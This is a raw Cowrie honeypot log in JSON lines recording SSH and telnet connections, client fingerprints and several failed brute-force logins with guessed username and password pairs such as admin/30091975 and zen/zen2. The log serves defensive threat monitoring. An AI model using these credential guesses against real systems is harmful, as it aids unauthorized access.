{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:57:00.507383Z","src_ip":"2.57.121.112","session":"8d27e164ad15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30091975","message":"login attempt [admin/30091975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:57:00.995216Z","src_ip":"2.57.121.112","session":"8d27e164ad15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30091973","message":"login attempt [admin/30091973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:57:02.102002Z","src_ip":"2.57.121.112","session":"8d27e164ad15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30091970","message":"login attempt [admin/30091970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:57:03.208459Z","src_ip":"2.57.121.112","session":"8d27e164ad15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30081976","message":"login attempt [admin/30081976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:57:04.314283Z","src_ip":"2.57.121.112","session":"8d27e164ad15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30081965","message":"login attempt [admin/30081965] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:57:05.422038Z","src_ip":"2.57.121.112","session":"8d27e164ad15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:57:06.527604Z","src_ip":"2.57.121.112","session":"8d27e164ad15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.137.141","src_port":41088,"dst_ip":"159.203.135.109","dst_port":22,"session":"45e124ba0fc4","protocol":"ssh","message":"New connection: 5.75.137.141:41088 (159.203.135.109:22) [session: 45e124ba0fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:57:57.043895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:57:57.048271Z","src_ip":"5.75.137.141","session":"45e124ba0fc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:57:57.136596Z","src_ip":"5.75.137.141","session":"45e124ba0fc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"okb","password":"okb2017!","message":"login attempt [okb/okb2017!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:57:57.315275Z","src_ip":"5.75.137.141","session":"45e124ba0fc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:57:58.405513Z","src_ip":"5.75.137.141","session":"45e124ba0fc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.83.126.161","src_port":39840,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f550b9e5f10","protocol":"telnet","message":"New connection: 170.83.126.161:39840 (10.17.0.5:23) [session: 9f550b9e5f10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:58:06.936713Z"}
{"eventid":"cowrie.session.closed","duration":30.6956205368042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:58:37.632223Z","src_ip":"170.83.126.161","session":"9f550b9e5f10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.222.177.49","src_port":33840,"dst_ip":"159.203.135.109","dst_port":23,"session":"4870c9c6ee97","protocol":"telnet","message":"New connection: 8.222.177.49:33840 (159.203.135.109:23) [session: 4870c9c6ee97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:58:45.606241Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.139.168","src_port":39754,"dst_ip":"10.17.0.5","dst_port":22,"session":"49c6b1c929d3","protocol":"ssh","message":"New connection: 142.93.139.168:39754 (10.17.0.5:22) [session: 49c6b1c929d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:59:00.129223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:59:00.135460Z","src_ip":"142.93.139.168","session":"49c6b1c929d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:59:00.218001Z","src_ip":"142.93.139.168","session":"49c6b1c929d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"axie","password":"axie@","message":"login attempt [axie/axie@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:59:00.379616Z","src_ip":"142.93.139.168","session":"49c6b1c929d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:59:01.460661Z","src_ip":"142.93.139.168","session":"49c6b1c929d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.5321683883667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:59:16.138297Z","src_ip":"8.222.177.49","session":"4870c9c6ee97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.187.200.190","src_port":45606,"dst_ip":"159.203.135.109","dst_port":22,"session":"837921646eca","protocol":"ssh","message":"New connection: 172.187.200.190:45606 (159.203.135.109:22) [session: 837921646eca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:00:37.325299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:00:37.329267Z","src_ip":"172.187.200.190","session":"837921646eca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:00:37.413574Z","src_ip":"172.187.200.190","session":"837921646eca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zen","password":"zen2","message":"login attempt [zen/zen2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:00:37.586086Z","src_ip":"172.187.200.190","session":"837921646eca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:00:38.675133Z","src_ip":"172.187.200.190","session":"837921646eca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.180.131.13","src_port":39926,"dst_ip":"10.17.0.5","dst_port":23,"session":"4799a8430b59","protocol":"telnet","message":"New connection: 95.180.131.13:39926 (10.17.0.5:23) [session: 4799a8430b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:01:23.210848Z"}
{"eventid":"cowrie.session.closed","duration":13.593219757080078,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:01:36.803872Z","src_ip":"95.180.131.13","session":"4799a8430b59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.187.200.190","src_port":36040,"dst_ip":"10.17.0.5","dst_port":22,"session":"e040857ba4b0","protocol":"ssh","message":"New connection: 172.187.200.190:36040 (10.17.0.5:22) [session: e040857ba4b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:04:50.765680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:04:50.770339Z","src_ip":"172.187.200.190","session":"e040857ba4b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:04:50.854544Z","src_ip":"172.187.200.190","session":"e040857ba4b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zen","password":"zen2","message":"login attempt [zen/zen2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:04:51.024525Z","src_ip":"172.187.200.190","session":"e040857ba4b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:04:52.113946Z","src_ip":"172.187.200.190","session":"e040857ba4b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.30.211","src_port":36482,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f3a4dfa97ef","protocol":"ssh","message":"New connection: 159.65.30.211:36482 (10.17.0.5:22) [session: 3f3a4dfa97ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:05:17.848174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:05:17.852908Z","src_ip":"159.65.30.211","session":"3f3a4dfa97ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:05:17.922009Z","src_ip":"159.65.30.211","session":"3f3a4dfa97ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"safe","password":"safe2017!","message":"login attempt [safe/safe2017!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:05:18.078930Z","src_ip":"159.65.30.211","session":"3f3a4dfa97ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:05:19.150876Z","src_ip":"159.65.30.211","session":"3f3a4dfa97ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":60502,"dst_ip":"10.17.0.5","dst_port":22,"session":"52aef835c75d","protocol":"ssh","message":"New connection: 162.120.6.20:60502 (10.17.0.5:22) [session: 52aef835c75d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:06:43.000541Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:06:43.073058Z","src_ip":"162.120.6.20","session":"52aef835c75d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":60518,"dst_ip":"10.17.0.5","dst_port":22,"session":"756a7ffff4e1","protocol":"ssh","message":"New connection: 162.120.6.20:60518 (10.17.0.5:22) [session: 756a7ffff4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:06:43.138678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:06:43.142619Z","src_ip":"162.120.6.20","session":"756a7ffff4e1","protocol":"ssh"}
